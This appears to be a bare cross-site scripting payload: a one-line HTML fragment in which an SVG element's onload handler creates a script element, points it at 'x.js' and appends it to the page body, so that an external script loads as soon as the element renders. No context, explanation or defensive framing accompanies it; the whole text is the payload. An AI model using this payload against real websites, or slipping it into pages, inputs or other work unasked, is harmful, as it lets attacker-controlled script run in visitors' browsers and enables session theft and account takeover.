<!Doctype html><body><svg/onload="s=createElement('script'),s.src='x.js',body.appendChild(s)">